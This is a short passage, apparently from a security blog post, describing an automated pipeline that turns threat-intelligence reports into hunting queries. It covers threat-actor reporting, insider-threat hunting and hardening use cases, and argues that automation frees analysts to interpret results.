The pipeline has already proven useful across several hunting scenarios: For advanced threat actor reporting, it can process DFIR reports and APT advisories to quickly determine whether known tradecraft appears in the environment. For insider threat hunting, it can be adapted to focus on data movement, anomalous access patterns, staging, and exfiltration behaviors. For security hardening, it can process reports about common persistence mechanisms and misconfigurations to validate whether the environment is exposed to known attack paths.

Across each use case, the value comes from shortening the path between intelligence and action.

Automating the repetitive work, not the expertise

By automating the repetitive work of reading reports, mapping techniques, and drafting queries, analysts can spend more time interpreting results, understanding context, and making decisions. The pipeline turns a daily flood of threat intelligence into structured, queryable, and continuously improving detection content. What previously required hours or days of manual effort can now be completed in minutes, while the underlying library compounds in value with every report processed.